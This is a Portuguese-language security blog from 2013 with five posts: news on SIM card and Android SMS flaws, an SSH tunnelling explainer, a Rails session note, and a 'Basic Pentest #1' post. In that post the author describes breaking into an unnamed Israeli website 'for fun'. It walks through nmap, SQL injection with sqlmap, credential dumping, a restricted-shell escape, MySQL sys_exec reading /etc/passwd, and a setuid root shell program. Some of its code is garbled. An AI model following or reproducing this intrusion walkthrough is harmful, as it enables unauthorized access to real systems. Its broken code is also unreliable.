domingo, 29 de dezembro de 2013

Cartões SIM Hacked #InfoSec

Nesta era moderna, que todo mundo sabe que seu mais recente mobile pode ser hackeado por hackers, mas agora a falha de 'hacking simcard' foi descoberta pelo programador alemão Karsten Nohl, quem informou os operadores móveis do perigo potencial.
Depois que todos os usuários de telefone móvel foram colocados em alerta que seus cartões 'sim' podem serem hackeados a qualquer momento que leva à fraude e crescentes contas de taxa premium.
Em outros mãos, se podemos falar sobre os operadores móveis então eles diz que eles já está ciente sobre esta falha e tomar medidas para corrigir a falha antes de clientes são atingidos.
Celulares em todo o mundo são a principal fonte a ser usado ao acessar o banco on-line e outras informações pessoais sensíveis e se a falha descoberta será usada por Hackers podem fazer um desastre de privacidade, atráves dela também faz barulho para os clientes móveis que usam seus smartphones para pagar contas e transferir.
A falha de segurança é devido ao envelhecimento do 'simcard' tecnologia de segurança, que tem lutado para manter-se com alta tecnologia smartphones como o iPhone e Samsung Galaxy S4.
Pesquisador Nohl diz algo sobre sua falha:

"Dê-me qualquer número de telefone e há alguma possibilidade de eu, poucos minutos depois, será capaz de controlar remotamente este cartão SIM e até mesmo fazer uma cópia do mesmo"

O hack funciona manipulando uma tecnologia de codificação usada pelos operadores para atualizar 'simcards'. Devidamente equipados, um hacker pode enviar um código para um cartão sim para obter acesso aos sistemas do telefone, de onde pode ser perpetrada atividade fraudulenta.
Nohl disse que um quarto de todos os cartões de sim que ele testou poderia ser hackeado.
No entanto, a organização Internacional 'Umbrella' de operador móvel, a GSMA, disse que a falha foi limitada a uma minoria de simcards e que novos 'sims' não podem ser afetados. Ele disse que isso tinha aconselhado os operadores a riscos de segurança envolvidos.

quinta-feira, 19 de dezembro de 2013

Básico Pentest #1

Estava desocupado sem tendo nada para fazer em casa, decidi invadir algum site 'normal' de israel que o desafio é maior. Nos tutoriais que eu postar aqui não irei revelar o site qual foi.
Fiz um 'privilege escalation' e peguei o root. Vou dizer passo a passo desta diversão que tive.

Começando então, a primeira ferramenta usada é a minha favorita para pegar informação do sistema, o NMAP

root@jihad:~# nmap -T4 -sS -sV -v -Pn 192.168.6.8 
(nisso vou saber os serviços que estão sendo rodados no sistema
obs: este IP é óbvio que não é da web, é apenas um endereço local random que coloquei pra simular o alvo).

Descubro algumas coisas como Apache 2.2.8 e PHP 5.2.4 sendo rodado na porta 80 e uma porta 3306 do MySQL aberta também, mas não consegui a versão, ok, nada que me surpreendeu, fui procurar a pagina de login e tentar um bypass...
login: '-
pass: '
(Em alguns login MySQL esse é um método vulnerável, igualmente a este: http://sqlzoo.net/hack/passwd.pl)

Mas como é website de Israel, saberia que não entraria, mas...
fiquei surpreso com o que retornou pra mim, um erro de 'syntax SQL', agora já até manja o que eu vou fazer né? Inseri a aspa em ambos 'form' e na senha tive um Erro SQL, tudo bem, escrevi qualquer coisa no usuario e coloquei uma aspa no campo de senha, resultou como erro... agora a única coisa que preciso é da data, poderia aperta F12 e ver o nome dos forms, mas fiquei com preguiça e abri o HTTP LIVE HEADER (um add-on do Firefox) para copiar o conteúdo 'POST' e assim combinar com o parametro data do SQLMAP.

O comando que utilizei no SQLMAP foi o seguinte:
root@jihad:~# sqlmap -u 192.168.6.8/v2/admin/login.php --data="user=any&pass=%27&submit=login" --risk=4 --level=5 --dbs --dbms=mysql

Quando o SQLMAP listou as tabelas, tive uma tabela que me interessou, a tabela onde contém as informações de login e passwords, logo então fiz um dump nela e fui tentar uma conexão SSH.

root@jihad:~# ssh everton@192.168.6.8
everton@192.168.6.8's password: <aqui é óbvio que é digitado a senha que encontrei na coluna que fiz o dump>
logo em seguinda...

Type '?' or 'help' to get the list of allowed commands
everton:~$

Esse usuário é um Administrador mas não com os privilegios que eu estava esperando ter :( Nenhum comando que eu necessitava executar eu tinha acesso, apenas dava para ser executado "echo, ls, help, exit, cd e clear". Única ideia que tive foi tentar pegar o terminal atrávez do comando 'echo'.
everton:~$ echo os.system('/bin/bash')
everton@target:~$ id
everton@target:~$ uid=1002(everton) gid=1002(everton) groups=1002(robert)

Ok, tenho agora o bin/bash mas os privilegios são bem limitados. Fui em busca de alguns aplicativos sendo rodados com o privilegio 'root'.

everton@target:~$ ps aux | grep root

Observo uma lista enorme de aplicativos sendo rodados como privilegios root, um deles é o MySQL
root          5022          0.0   1.5  126876   16012   ?          S\     05:40     0:00   /usr/sbin/mysqld

Ao conectar ao MySQL, rapidamente listei os conteúdos de /etc/passwd para /tmp/slayered, liberei o acesso para o usuário 'everton' no qual foi pwned! e fechei.
mysql > select sys_exec('cat /etc/passwd > /tmp/passwd; chown everton /tmp/slayered');
mysql > \q
Bye
everton@target:~$ cat /tmp/slayered

Agora sim :-) Está na hora de Privilege Escalation de everton para o root.
Para isso eu tive que criar um mini-exploit em C em um novo terminal, compilar normalmente e executar

int main(){
set resuid(0,0,0);
set resgid(0,0,0);
system('/bin/bash');
return 0;
}

Voltei para o terminal do usuário pwned! Conectei a minha máquina com o servidor alvo para transferir meu exploit.
everton@target:~$ scp root@192.168.6.8:slayered slayered

(slayered: é o nome do exploit criado)
(scp: quer dizer secure copy)

Novamente conectando ao MySQL como root, irei fazer a elevação de privilegios com o chown e fechar.
mysql > select sys_exec('chown root.root /tmp/slayered; chmod +s,a+rwx');
mysql > \q
everton@target:~$ cd tmp
everton@target:~$ ./exploit
root@target:~# id
uid=0(root) gid=0(root) groups=1002(everton)
root@target:~#

usuário ROOT pwned! :-)

quinta-feira, 12 de dezembro de 2013

Conceito SSH Tunnel




Funciona como uma VPN, podendo ‘tunelar’ apenas protocolos que usam TCP como transporte.
Inicialmente se faz então uma sessão usando um cliente de SSH, nessa demonstração, irei usar como exemplo o PuTTY, existente tanto para Windows como para Linux, mas isso pode ser realizado também por meio de um SSH padrão do Linux, mudando apenas a sintaxe... Pois o ambos são linhas de comandos e outro gráfico.

O cliente usando o Windows(PuTTY), vai fazer uma conexão de SSH, com um servidor que é visível na internet publica com um endereço IP: 200.200.200.200:22 que pode ser acessado por qualquer máquina na internet pública, o objetivo é acessar o servidor de terminal acessando o RDP (remote desktop protocol - TCP, em outras palavras é a área de trabalho do Windows) em um servidor que não tem visibilidade nenhuma (IP:192.168.200.50:3389).

A partir da sessão criada entre o cliente (Windows/PuTTY) com o servidor (SSH), podemos criar uma conexão com o servidor interno (TPC-RDP). Pelo fato do servidor SSH ter acesso à rede local onde a máquina TPC-RDP se encontra.

Em resolução, a conexão será criada do Cliente SSH -> (Internet) -> Servidor SSH na qual irá passar o tráfego de SSH, que obviamente terá que ter em mãos o usuário e a senha do servidor, no cliente SSH terá que configurar o 'Túnel'(porta 20000) usando o PuTTY. Uma das principais informações seria chegar no servidor SSH, agora realizar a configuração do Túnel, onde terá que saber o IP que seria o destino final onde quer chegar, no caso seria no servidor RDP (IP: 192.168.200.50), conseguindo então a conexão terminal.

Então o destino seria o IP do cliente que é visível apenas para o servidor SSH (200.200.200.200:22), a porta é a padrão do serviço TCP-RDP (3389). Então na criação de outra porta (porta 20000) que pode ser definida aleatoriamente, desde que não esteja ocupada no Cliente.

Contudo para que consiga finalmente chegar na máquina desejada, terá que usar o cliente de acesso de área remoto do seu Sistema o Operacional (Cliente). Assim que abrir o PuTTY na intenção de obter acesso ao RDP terá que informar o endereço do servidor onde quer chegar, então na verdade o IP colocado seria o 'localhost' e a porta 20000 (na qual foi definida), portanto quando fizer acesso para o localhost:20000 o tráfego de RDP vai passar por dentro da sessão de SSH e o papel do 'servidor de SSH' é fazer o acesso por meio de uma conexão  'local área network' (LAN) até o 'Servidor de RDP' onde a partir do LAN não terá mais SSH, somente o RDP, impossibilitando então a visão do RDP à máquina do Cliente, ele vai enxergar o 'Servidor de SSH', então no registro de log será armazenado que o IP 200.200.200.200 está acessando o terminal (TCP-RDP), quando na verdade quem está conectado é o Cliente que abriu uma sessão (Túnel) de SSH e esse Servidor de SSH que consegue ter acesso ao Servidor de RDP por meio de uma conexão LAN consegue chegar nele.

O tráfego retornado passará pela LAN, entra na sessão SSH e retornará ao Cliente, desta forma consegue acessar o serviço interno com o Cliente de SSH (PuTTY), lembrando que para ter uma conexão com o RDP pode ser usada qualquer protocolo TCP, inclusive com POP3, IMAP, TELNET, SMTP e etc... Outra coisa é que não precisa abrir publicamente, basta abrir apenas o acesso SSH e fazê-la (lógico) as configurações de segurança que podem ser colocadas.


O SSH Tunnel é basicamente isso, possibilitando fazer o tunelamento de protocolos por meio de uma sessão criada com o servidor que tem visibilidade e que tem que ter acesso ao destino que queremos que é a rede interna. 

quinta-feira, 5 de dezembro de 2013

Remote SMS Flash (Nexus)



Pois é meus caros, segundo a confêrencia de segurança DefCamp que está tendo em alguns lugares, em ambas de suas apresentações um investigador especializado em segurança móvel, Bogdan Alecu.

Alega ter encontrado uma vulnerabilidade em uns dos dispositivos da Google, que poderá ser explorada de uma forma que permita a reinicialização. Uma falha que cujos aparelhos tais como: Nexux, Nexus 4 Y, Nexus 5 e Galaxy, independentemente de qual seja a versão do Android que esteja executando (incluindo o último KitKat), sempre tenham a ROM oficial.

Foram feito os testes em aparelhos non-Google como por exemplo: Samsung e HTC, mas o resultado forão tornadas como 'False', nada aconteceu.

Mas espera aí, Como é feito este tipo de ataque?
A falha consiste no SMS Flash, que seria as mensagens de Classe 0 (zero), em outras palavras são as mensagens que aparecem de repente na tela do mobile conforme é recebida. O uso são bem frequêntes por operadoras telefônicas para que possa enviar mensagens ao seus clientes.

Somente uma única mensagem pode ser recebida em um determinado tempo e, se o usuário não salvar, o desaparece.

De acordo com essa lei, Alecu notou que os dispositivos da Google recebem uma mensagem, uma camada adicional é adicionada na tela e o fundo se torna-se então mais escuro, O próposito disso seria testar se ao enviar várias mensagens em curtos intervalos, o fundo ficaria totalmente preto; Ou também no caso de haver algum vazamento na memória.
De fato, geralmente se 30 mensagens Flash são enviados com um intervalo de 1 segundo, o dispositivo é reiniciado, que pode-se incluir nesta experiência que há uma perda de memória.

Em outras situações quando é enviado uma grande quantidade de mensagens, o aplicativo de mensagem deixa de funcionar então o processo de comunicação de rede móvel é reiniciado. Por último caso, é dado que o dispositivo não pode conectar-se ao Nome de Ponto de Acesso (APN), que gera um dispositivo sem acesso à Internet.

E quanto as acções do Atacante?

Um método aplausível. O atacante pode enviar mensagens para suas vítimas com um intuito de fazer o dispositivo reiniciar. É por este motivo que existe o PIN, que protege-o contra esses tipos de ataque. A conectividade se perde até que a vítima se dê conta de que o mobile fora reiniciado e digite o código de acesso.

Um exemplo, o ataque de negação de serviço (DDoS) deste tipo seria muito útil para os ciberTerroristas que pretendem fazer algumas fraldes, como tranferências bancárias e evitar com que a vítima possa receber mensagens de alerta de que está sendo roubado.

Há mais de um ano atrás, a Equipe de Segurança da Google foram alertada pelo Bogdan Alecau, por esta devida falha nos sistemas Android, mas até hoje ainda ocorre esta vulnerabilidade. A Google afirmou que seria implementado a correção no sistema Android na versão 4.3, na qual nenhum tipo de fixação foi aplicada.

Nomeada como Class0Firewall, o aplicativo quem Alecau associou-se com Michael Muller (conhecido como c0rnholio) para desenvolver um aplicativo que possa proteger o aparelho contra esses tipos de ataque. Pode ser encontrado gratuitamente na Google Play.

Link para Download: https://play.google.com/store/apps/details?id=com.silentservices.class0firewall




domingo, 1 de dezembro de 2013

Vulnerabilidade em websites Ruby on Rails!



Desde o mes de setembro G.S. McNamara o 'Security Research', afirmou que algumas versões de Ruby on Rails, possui várias falhas como o Roubo de Sessão (Steal Session).
A vulnerabilidade é devido ao uso de CookieStore, que contém a hash da sessão do usuário no navegador web com uma cookie. Contudo, depois da criação de uma nova cookie, a antiga ainda o permanence válida, o que significa que pode ser utilizada para sequestrar contas de usuários.
Isso é chamado de fraco Expiração Sessão insuficiente. McNamara adverte que este tipo de falha é particularmente perigoso nos websites que utilizam SSL.

"O atacante pode guardar a cookie cifrada e enviar-la ao servidor para iniciar a sessão em nome da vitíma, sem ter que ler o conteúdo dela" - McNamara (Security Research)
O mesmo ainda pública uma lista de sites vulneráveis, veja no link abaixo: